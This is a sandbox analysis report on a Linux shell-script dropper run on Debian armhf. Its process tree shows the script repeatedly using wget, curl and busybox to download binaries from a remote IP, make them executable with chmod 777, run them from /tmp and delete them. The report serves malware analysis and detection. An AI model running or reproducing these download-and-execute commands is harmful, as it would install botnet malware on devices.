Analysis

  • max time kernel
    31s
  • max time network
    52s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30/10/2024, 02:20

General

  • Target
    3e47b25efc485e784daf709b443b85050e8e7b1662e67dd29eacb61f875ea3b5.sh
  • Size 10KB
  • Sample241030-csf7natjbt
  • SHA256 3e47b25efc485e784daf709b443b85050e8e7b1662e67dd29eacb61f875ea3b5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 26 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/3e47b25efc485e784daf709b443b85050e8e7b1662e67dd29eacb61f875ea3b5.sh
    /tmp/3e47b25efc485e784daf709b443b85050e8e7b1662e67dd29eacb61f875ea3b5.sh
    1⤵
      PID:655
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:657
        • /usr/bin/wget
          wget http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
          2⤵
            PID:663
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:671
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
            2⤵
              PID:684
            • /bin/chmod
              chmod 777 ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
              2⤵
              • File and Directory Permissions Modification
              PID:686
            • /tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
              ./ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
              2⤵
              • Executes dropped EXE
              PID:687
            • /bin/rm
              rm ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
              2⤵
                PID:688
              • /usr/bin/wget
                wget http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
                2⤵
                  PID:689
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:690
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
                  2⤵
                    PID:691
                  • /bin/chmod
                    chmod 777 AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
                    2⤵
                    • File and Directory Permissions Modification
                    PID:692
                  • /tmp/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
                    ./AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
                    2⤵
                    • Executes dropped EXE
                    PID:695
                  • /bin/rm
                    rm AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
                    2⤵
                      PID:696
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
                      2⤵
                        PID:697
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:702
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
                        2⤵
                          PID:707
                        • /bin/chmod
                          chmod 777 RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
                          2⤵
                          • File and Directory Permissions Modification
                          PID:710
                        • /tmp/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
                          ./RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
                          2⤵
                          • Executes dropped EXE
                          PID:712
                        • /bin/rm
                          rm RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
                          2⤵
                            PID:713
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
                            2⤵
                              PID:715
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:719
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
                              2⤵
                                PID:723
                              • /bin/chmod
                                chmod 777 0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
                                2⤵
                                • File and Directory Permissions Modification
                                PID:727
                              • /tmp/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
                                ./0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
                                2⤵
                                • Executes dropped EXE
                                PID:729
                              • /bin/rm
                                rm 0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
                                2⤵
                                  PID:730
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
                                  2⤵
                                    PID:731
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:736
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
                                    2⤵
                                      PID:741
                                    • /bin/chmod
                                      chmod 777 rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:746
                                    • /tmp/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
                                      ./rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
                                      2⤵
                                      • Executes dropped EXE
                                      PID:748
                                    • /bin/rm
                                      rm rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
                                      2⤵
                                        PID:749
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
                                        2⤵
                                          PID:751
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:756
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
                                          2⤵
                                            PID:760
                                          • /bin/chmod
                                            chmod 777 EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:761
                                          • /tmp/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
                                            ./EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
                                            2⤵
                                            • Executes dropped EXE
                                            PID:762
                                          • /bin/rm
                                            rm EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
                                            2⤵
                                              PID:763
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
                                              2⤵
                                                PID:764
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:797
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
                                                2⤵
                                                  PID:798
                                                • /bin/chmod
                                                  chmod 777 sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:799
                                                • /tmp/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
                                                  ./sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:800
                                                • /bin/rm
                                                  rm sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
                                                  2⤵
                                                    PID:801
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
                                                    2⤵
                                                      PID:802
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:803
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
                                                      2⤵
                                                        PID:804
                                                      • /bin/chmod
                                                        chmod 777 zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:805
                                                      • /tmp/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
                                                        ./zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:806
                                                      • /bin/rm
                                                        rm zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
                                                        2⤵
                                                          PID:807
                                                        • /usr/bin/wget
                                                          wget http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
                                                          2⤵
                                                            PID:808
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:809
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
                                                            2⤵
                                                              PID:810
                                                            • /bin/chmod
                                                              chmod 777 n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:811
                                                            • /tmp/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
                                                              ./n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:812
                                                            • /bin/rm
                                                              rm n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
                                                              2⤵
                                                                PID:813
                                                              • /usr/bin/wget
                                                                wget http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
                                                                2⤵
                                                                  PID:814
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:815
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
                                                                  2⤵
                                                                    PID:816
                                                                  • /bin/chmod
                                                                    chmod 777 edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:817
                                                                  • /tmp/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
                                                                    ./edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:818
                                                                  • /bin/rm
                                                                    rm edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
                                                                    2⤵
                                                                      PID:819
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
                                                                      2⤵
                                                                        PID:820
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:821
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
                                                                        2⤵
                                                                          PID:822
                                                                        • /bin/chmod
                                                                          chmod 777 17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:823
                                                                        • /tmp/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
                                                                          ./17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:824
                                                                        • /bin/rm
                                                                          rm 17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
                                                                          2⤵
                                                                            PID:825
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
                                                                            2⤵
                                                                              PID:826
                                                                            • /usr/bin/curl
                                                                              curl -O http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:829
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
                                                                              2⤵
                                                                                PID:830
                                                                              • /bin/chmod
                                                                                chmod 777 OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:831
                                                                              • /tmp/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
                                                                                ./OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:832
                                                                              • /bin/rm
                                                                                rm OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
                                                                                2⤵
                                                                                  PID:833
                                                                                • /usr/bin/wget
                                                                                  wget http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
                                                                                  2⤵
                                                                                    PID:834
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:835
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
                                                                                    2⤵
                                                                                      PID:839
                                                                                    • /bin/chmod
                                                                                      chmod 777 iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:841
                                                                                    • /tmp/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
                                                                                      ./iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:842
                                                                                    • /bin/rm
                                                                                      rm iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
                                                                                      2⤵
                                                                                        PID:843
                                                                                      • /usr/bin/wget
                                                                                        wget http://87.120.84.230/bins/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
                                                                                        2⤵
                                                                                          PID:844

                                                                                      Network

                                                                                            MITRE ATT&CK Enterprise v15

                                                                                            Replay Monitor

                                                                                            Loading Replay Monitor...

                                                                                            Downloads

                                                                                            ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0

                                                                                            • Path /tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
                                                                                            • Size 153B
                                                                                            • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                                                            • MD5 SHA1 SHA512